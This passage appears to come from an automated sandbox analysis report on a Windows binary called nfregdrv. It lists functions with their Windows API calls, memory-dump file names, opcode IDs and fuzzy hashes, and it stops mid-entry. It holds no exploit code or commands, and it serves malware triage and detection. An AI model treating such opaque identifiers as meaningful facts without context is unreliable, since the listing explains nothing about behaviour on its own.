                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2978645861-0
                                                                                                                  • Opcode ID: 5b0c05bd3bb3b5db66ab5481f23a3e4c1540d4302acacb0ddc367f69b30fcab4
                                                                                                                  • Instruction ID: 77183064e41a1e9205efc12c9dcf8d440c153a8ee4ed2ed3b95b76763cc59ffb
                                                                                                                  • Opcode Fuzzy Hash: 5b0c05bd3bb3b5db66ab5481f23a3e4c1540d4302acacb0ddc367f69b30fcab4
                                                                                                                  • Instruction Fuzzy Hash: 8401B5366102149FD701DF7CAC04899379AEB89632B114366FE2C872E1DF31D95586D1
                                                                                                                  Function 10014760 Relevance: 6.3, APIs: 5, Instructions: 56COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(1002030C), ref: 1001476D
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 10014781
                                                                                                                  • LeaveCriticalSection.KERNEL32(1002030C), ref: 1001479E
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$Leave$Enter
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2978645861-0
                                                                                                                  • Opcode ID: 315757dbfcfbb32eb6690a5904ae741756b3478989afcffcdb4784ba547c2fca
                                                                                                                  • Instruction ID: c8b4f41cc937fb26e74b5d9e0f7055d815144c6c2631823094905784c4cc0ea4
                                                                                                                  • Opcode Fuzzy Hash: 315757dbfcfbb32eb6690a5904ae741756b3478989afcffcdb4784ba547c2fca
                                                                                                                  • Instruction Fuzzy Hash: 0D01F5366242148FD700DB7CAC44499339AEF89231B124356FE3C872E1DF31D91186D1
                                                                                                                  Function 10010B53 Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10010B83
                                                                                                                  • __isleadbyte_l.LIBCMT ref: 10010BB7
                                                                                                                  • MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,FF000002,?,00000000,?,?,?,1000FF83,?,?,00000001), ref: 10010BE8
                                                                                                                  • MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,?,00000000,?,?,?,1000FF83,?,?,00000001), ref: 10010C56
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3058430110-0
                                                                                                                  • Opcode ID: d976dae8849e1df09a0b0c0d7ef9455a66fad74b5674ac6a6004c55bf6a0fbc5
                                                                                                                  • Instruction ID: a1dc6150c0cefba4fc0e341efb8d7f9e4622e53aa43daf027c921bb7a998826d
                                                                                                                  • Opcode Fuzzy Hash: d976dae8849e1df09a0b0c0d7ef9455a66fad74b5674ac6a6004c55bf6a0fbc5
                                                                                                                  • Instruction Fuzzy Hash: B0319D31B08246EFDB10DFA4C8849AA7BE5FF00255F1586A9F4A08F1A1D3B0D9C0DB51
                                                                                                                  Function 100014C0 Relevance: 6.1, APIs: 4, Instructions: 75synchronizationCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • SetEvent.KERNEL32(?,0000000A,762330B0,00000000,?,7734FFB0,10017857), ref: 100014D0
                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,7734FFB0,10017857), ref: 1000150F
                                                                                                                  • CloseHandle.KERNEL32(?,?,000000FF,?,7734FFB0,10017857), ref: 10001522
                                                                                                                  • _memmove_s.LIBCMT ref: 10001573
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseEventHandleObjectSingleWait_memmove_s
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3037655736-0
                                                                                                                  • Opcode ID: a16a9262e8a1ed26482d417ee0d5e11f3f8b9f0b5b5de5088259525e283d6dc5
                                                                                                                  • Instruction ID: c65eb985cd46562ea4b9b3fa780de754e17b39af8a735433f2001fa7709411ec
                                                                                                                  • Opcode Fuzzy Hash: a16a9262e8a1ed26482d417ee0d5e11f3f8b9f0b5b5de5088259525e283d6dc5
                                                                                                                  • Instruction Fuzzy Hash: 1D217171904A028FB730EB59C88545EB3E6FBC4691711851DE5AB47559DB30FE808BA1
                                                                                                                  Function 10007E33 Relevance: 6.1, APIs: 4, Instructions: 70threadCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • __calloc_crt.LIBCMT ref: 10007E6E
                                                                                                                  • CreateThread.KERNEL32(?,?,10007DB3,00000000,?,?), ref: 10007EB2
                                                                                                                  • GetLastError.KERNEL32(?,00003001,?,?,10017A59,00000000,00000000,10017590,00000000,00000000,?,?,10017CBE), ref: 10007EBC
                                                                                                                  • __dosmaperr.LIBCMT ref: 10007ED4
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CreateErrorLastThread__calloc_crt__dosmaperr
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 84609068-0
                                                                                                                  • Opcode ID: 96a702f07e20c8fc08ba84a89f2686319f8a34372d6dff5ac5e6610c97b7c4f9
                                                                                                                  • Instruction ID: 960ca24b8c0fd74316a4ffc7f982722606d32842def4c8c8f75851161ce74b88
                                                                                                                  • Opcode Fuzzy Hash: 96a702f07e20c8fc08ba84a89f2686319f8a34372d6dff5ac5e6610c97b7c4f9
                                                                                                                  • Instruction Fuzzy Hash: 2B113636902249BFFB01EFA4DC8288E77E5FF083E0B214569F509A3095DB34AE018B60
                                                                                                                  Function 10002B30 Relevance: 6.1, APIs: 4, Instructions: 68COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • DeleteCriticalSection.KERNEL32(100203D8,9301D15D,?,?,?,?,1001875C,000000FF), ref: 10002B72
                                                                                                                    • Part of subcall function 100014C0: SetEvent.KERNEL32(?,0000000A,762330B0,00000000,?,7734FFB0,10017857), ref: 100014D0
                                                                                                                    • Part of subcall function 100014C0: WaitForSingleObject.KERNEL32(?,000000FF,?,7734FFB0,10017857), ref: 1000150F
                                                                                                                    • Part of subcall function 100014C0: CloseHandle.KERNEL32(?,?,000000FF,?,7734FFB0,10017857), ref: 10001522
                                                                                                                    • Part of subcall function 100014C0: _memmove_s.LIBCMT ref: 10001573
                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,?,1001875C,000000FF), ref: 10002B93
                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,?,1001875C,000000FF), ref: 10002BAA
                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,?,1001875C,000000FF), ref: 10002BE7
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseHandle$CriticalDeleteEventObjectSectionSingleWait_memmove_s
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3715746028-0
                                                                                                                  • Opcode ID: 76179a229a830d2f9d329135d3ac3756b66c2c4d1d0f11458de3c9b5cfab1ecf
                                                                                                                  • Instruction ID: cfe803f662d768d14c2dfa4e60897070c9f65bc5c6aa7f7d02d73ff30c3c2152
                                                                                                                  • Opcode Fuzzy Hash: 76179a229a830d2f9d329135d3ac3756b66c2c4d1d0f11458de3c9b5cfab1ecf
                                                                                                                  • Instruction Fuzzy Hash: 80217CB05043A18FF300DF688C8560A7BDEFB042B4FA04B19F465D72E7C779AA058B91
                                                                                                                  Function 100035B0 Relevance: 6.1, APIs: 4, Instructions: 68COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • DeleteCriticalSection.KERNEL32(10020458,9301D15D,?,?,?,?,1001875C,000000FF), ref: 100035F2
                                                                                                                    • Part of subcall function 100014C0: SetEvent.KERNEL32(?,0000000A,762330B0,00000000,?,7734FFB0,10017857), ref: 100014D0
                                                                                                                    • Part of subcall function 100014C0: WaitForSingleObject.KERNEL32(?,000000FF,?,7734FFB0,10017857), ref: 1000150F
                                                                                                                    • Part of subcall function 100014C0: CloseHandle.KERNEL32(?,?,000000FF,?,7734FFB0,10017857), ref: 10001522
                                                                                                                    • Part of subcall function 100014C0: _memmove_s.LIBCMT ref: 10001573
                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,?,1001875C,000000FF), ref: 10003613
                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,?,1001875C,000000FF), ref: 1000362A
                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,?,1001875C,000000FF), ref: 10003667
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseHandle$CriticalDeleteEventObjectSectionSingleWait_memmove_s
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3715746028-0
                                                                                                                  • Opcode ID: 63cec45596fa0ece01aef7757e97c95d257c6fcde774a1e3c521d25e9a1047f9
                                                                                                                  • Instruction ID: e4b86ddf39c1be931d4e7214d39989b71f3d296ab9120b50707eace9ea249c52
                                                                                                                  • Opcode Fuzzy Hash: 63cec45596fa0ece01aef7757e97c95d257c6fcde774a1e3c521d25e9a1047f9
                                                                                                                  • Instruction Fuzzy Hash: 9621A1F49043919FE310EF6C8C8860A7BDAF704274FE08719F565872E7C739A9058BA2
                                                                                                                  Function 10003340 Relevance: 6.1, APIs: 4, Instructions: 58COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,10018648,000000FF), ref: 1000337E
                                                                                                                  • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,10018648,000000FF), ref: 100033BD
                                                                                                                  • SetEvent.KERNEL32(?), ref: 100033CF
                                                                                                                  • LeaveCriticalSection.KERNEL32(?), ref: 100033D2
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalEventSection$EnterLeave
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2034477713-0
                                                                                                                  • Opcode ID: 26d7926c99e25f810d7718daa53f3b713310baac375bc8a9718a81a7c18c5246
                                                                                                                  • Instruction ID: e5964f4e11a61a5ceb4984cd574a80e3950d02b8ad30e80ede868aa41323114b
                                                                                                                  • Opcode Fuzzy Hash: 26d7926c99e25f810d7718daa53f3b713310baac375bc8a9718a81a7c18c5246
                                                                                                                  • Instruction Fuzzy Hash: A5119D71504B44DFD321CF25C884B5BB7E8FB48260F008A2AE49A83A90DB79FA44CB91
                                                                                                                  Function 10017DE0 Relevance: 6.1, APIs: 4, Instructions: 58COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • EnterCriticalSection.KERNEL32(10020168,?,?,1001533B), ref: 10017DFF
                                                                                                                  • LeaveCriticalSection.KERNEL32(10020168,?,1001533B), ref: 10017E29
                                                                                                                  • _malloc.LIBCMT ref: 10017E33
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CriticalSection$EnterLeave_malloc
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 4242827099-0
                                                                                                                  • Opcode ID: d9080a10b4345808967dd27d92c9b69f056f69c068306372603454a2a88374c5
                                                                                                                  • Instruction ID: 61feaa6bcb75b8102a09506a810e75e671a35ffd5e85a93e1235847fc3054c73
                                                                                                                  • Opcode Fuzzy Hash: d9080a10b4345808967dd27d92c9b69f056f69c068306372603454a2a88374c5
                                                                                                                  • Instruction Fuzzy Hash: 66118276A002138BD755CB2CFD4199673F6FFD42A035582BEE80DCB225EA31DC918B80
                                                                                                                  Function 00403B8A Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                    • Part of subcall function 00402546: __amsg_exit.LIBCMT ref: 00402554
                                                                                                                  • __amsg_exit.LIBCMT ref: 00403BB6
                                                                                                                  • __lock.LIBCMT ref: 00403BC6
                                                                                                                  • InterlockedDecrement.KERNEL32(?), ref: 00403BE3
                                                                                                                  • InterlockedIncrement.KERNEL32(022816D8), ref: 00403C0E
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Interlocked__amsg_exit$DecrementIncrement__lock
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 4129207761-0
                                                                                                                  • Opcode ID: 52a3e7971e82fb72f830ee4ccc85c939e43fcece51e1a5e76106840384332467
                                                                                                                  • Instruction ID: 4c552d2baa94243f91659daba1be32444af7e91f1612fcd78746f7470628c05b
                                                                                                                  • Opcode Fuzzy Hash: 52a3e7971e82fb72f830ee4ccc85c939e43fcece51e1a5e76106840384332467
                                                                                                                  • Instruction Fuzzy Hash: 8B01A532900721ABD711BF269906B5ABF74AB00759F14403BE800772D2CB7CAE81DB9E
                                                                                                                  Function 004024CF Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetLastError.KERNEL32(?,?,0040199A), ref: 004024D1
                                                                                                                    • Part of subcall function 004023A1: TlsGetValue.KERNEL32(?,004024E4,?,?,0040199A), ref: 004023A8
                                                                                                                    • Part of subcall function 004023A1: TlsSetValue.KERNEL32(00000000,004024E4,?,?,0040199A), ref: 004023C9
                                                                                                                  • __calloc_crt.LIBCMT ref: 004024F3
                                                                                                                    • Part of subcall function 00404107: __calloc_impl.LIBCMT ref: 00404115
                                                                                                                    • Part of subcall function 00404107: Sleep.KERNEL32(00000000), ref: 0040412C
                                                                                                                    • Part of subcall function 0040232A: TlsGetValue.KERNEL32(00000000,004023BF,?,004024E4,?,?,0040199A), ref: 00402337
                                                                                                                    • Part of subcall function 0040232A: TlsGetValue.KERNEL32(00000006,?,004024E4,?,?,0040199A), ref: 0040234E
                                                                                                                    • Part of subcall function 00402410: GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409438,0000000C,00402521,00000000,00000000,?,?,0040199A), ref: 00402421
                                                                                                                    • Part of subcall function 00402410: GetProcAddress.KERNEL32(?,EncodePointer), ref: 00402455
                                                                                                                    • Part of subcall function 00402410: GetProcAddress.KERNEL32(?,DecodePointer), ref: 00402465
                                                                                                                    • Part of subcall function 00402410: InterlockedIncrement.KERNEL32(0040A460), ref: 00402487
                                                                                                                    • Part of subcall function 00402410: __lock.LIBCMT ref: 0040248F
                                                                                                                    • Part of subcall function 00402410: ___addlocaleref.LIBCMT ref: 004024AE
                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 00402523
                                                                                                                  • SetLastError.KERNEL32(00000000,?,?,0040199A), ref: 0040253B
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2511824624.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2511801689.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511850172.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511883395.000000000040A000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2511911463.000000000040C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_400000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Value$AddressErrorLastProc$CurrentHandleIncrementInterlockedModuleSleepThread___addlocaleref__calloc_crt__calloc_impl__lock
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1081334783-0
                                                                                                                  • Opcode ID: 5ab9714a243f0ffc41694fcd0ac968f58e359ad798ea549c5e95678d0f806d4d
                                                                                                                  • Instruction ID: 6e150c00b90b0de194aaa4e6d30466842cabbf0b81775d3192f362ebb9054922
                                                                                                                  • Opcode Fuzzy Hash: 5ab9714a243f0ffc41694fcd0ac968f58e359ad798ea549c5e95678d0f806d4d
                                                                                                                  • Instruction Fuzzy Hash: B3F0F432000621AAC63227757E0D64B2B50AF50775B21413EF985B61E1CEB88940869D
                                                                                                                  Function 1000AAF7 Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • GetLastError.KERNEL32(00000001,00000000,10009235,1000A326,00000001,1000A856,00000000,00000000,00000001,?,?,?,1000A968,?,1000ACF2,00000000), ref: 1000AAF9
                                                                                                                    • Part of subcall function 1000A9B0: TlsGetValue.KERNEL32(00000000,1000AB0C,?,?,?,1000A968,?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001), ref: 1000A9B7
                                                                                                                    • Part of subcall function 1000A9B0: TlsSetValue.KERNEL32(00000000,?,?,1000A968,?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001,?,?,10008C27), ref: 1000A9D8
                                                                                                                  • __calloc_crt.LIBCMT ref: 1000AB1B
                                                                                                                    • Part of subcall function 1000B195: __calloc_impl.LIBCMT ref: 1000B1A3
                                                                                                                    • Part of subcall function 1000B195: Sleep.KERNEL32(00000000), ref: 1000B1BA
                                                                                                                    • Part of subcall function 1000A91E: TlsGetValue.KERNEL32(?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001,?,?,10008C27,00000001,?,?,1001B608), ref: 1000A92B
                                                                                                                    • Part of subcall function 1000A91E: TlsGetValue.KERNEL32(00000002,?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001,?,?,10008C27,00000001), ref: 1000A942
                                                                                                                    • Part of subcall function 1000AA38: GetModuleHandleA.KERNEL32(KERNEL32.DLL,1001B668,0000000C,1000AB49,00000000,00000000,?,?,?,1000A968,?,1000ACF2,00000000,00000000,10008BC3,00000000), ref: 1000AA49
                                                                                                                    • Part of subcall function 1000AA38: GetProcAddress.KERNEL32(?,EncodePointer), ref: 1000AA7D
                                                                                                                    • Part of subcall function 1000AA38: GetProcAddress.KERNEL32(?,DecodePointer), ref: 1000AA8D
                                                                                                                    • Part of subcall function 1000AA38: InterlockedIncrement.KERNEL32(1001E5E0), ref: 1000AAAF
                                                                                                                    • Part of subcall function 1000AA38: __lock.LIBCMT ref: 1000AAB7
                                                                                                                    • Part of subcall function 1000AA38: ___addlocaleref.LIBCMT ref: 1000AAD6
                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 1000AB4B
                                                                                                                  • SetLastError.KERNEL32(00000000,?,?,?,1000A968,?,1000ACF2,00000000,00000000,10008BC3,00000000,?,?,00000001), ref: 1000AB63
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Value$AddressErrorLastProc$CurrentHandleIncrementInterlockedModuleSleepThread___addlocaleref__calloc_crt__calloc_impl__lock
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1081334783-0
                                                                                                                  • Opcode ID: 47baad0c142978dd281d06efe9ff58a8f45b381e9549035b39ead8b204b2342f
                                                                                                                  • Instruction ID: 6fb4e631f38a478814a727dc28711fd6a3486464b3ce86ddb14d750e3725a89c
                                                                                                                  • Opcode Fuzzy Hash: 47baad0c142978dd281d06efe9ff58a8f45b381e9549035b39ead8b204b2342f
                                                                                                                  • Instruction Fuzzy Hash: 0BF028329016325EF726AB746C09B9E3A91DF067F07118318F540D70E5CF34DC808690
                                                                                                                  Function 10013A80 Relevance: 6.0, APIs: 4, Instructions: 42COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 10013A8F
                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 10013AB5
                                                                                                                  • GetModuleFileNameExW.PSAPI(00000000,00000000,?,?), ref: 10013ACD
                                                                                                                  • CloseHandle.KERNEL32(00000000,00000000,00000000,?,?), ref: 10013AD5
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000001C.00000002.2512392605.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true
                                                                                                                  • Associated: 0000001C.00000002.2512372040.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512424048.0000000010019000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512445288.000000001001E000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  • Associated: 0000001C.00000002.2512474113.0000000010022000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_28_2_10000000_nfregdrv.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseHandle$FileModuleNameOpenProcess
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3706008839-0
                                                                                                                  • Opcode ID: 77a01a2355183141ac97614d7ed4b7053512745596251045c5cd6b166a56d9cf
                                                                                                                  • Instruction ID: 9d03786ab276ef560676e71944a6f241f9687970605c8b5740b5995641b249e1
                                                                                                                  • Opcode Fuzzy Hash: 77a01a2355183141ac97614d7ed4b7053512745596251045c5cd6b166a56d9cf
                                                                                                                  • Instruction Fuzzy Hash: BEF090363042216FE211CB6AEC88D6F37EDEFC9A11B054818F544C3200DA30DC0AC6B2
                                                                                                                  Function 10013AE0 Relevance: 6.0, APIs: 4, Instructions: 42COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 10013AEF
                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 10013B15
                                                                                                                  • GetModuleFileNameExA.PSAPI(00000000,00000000,?,?), ref: 10013B2D
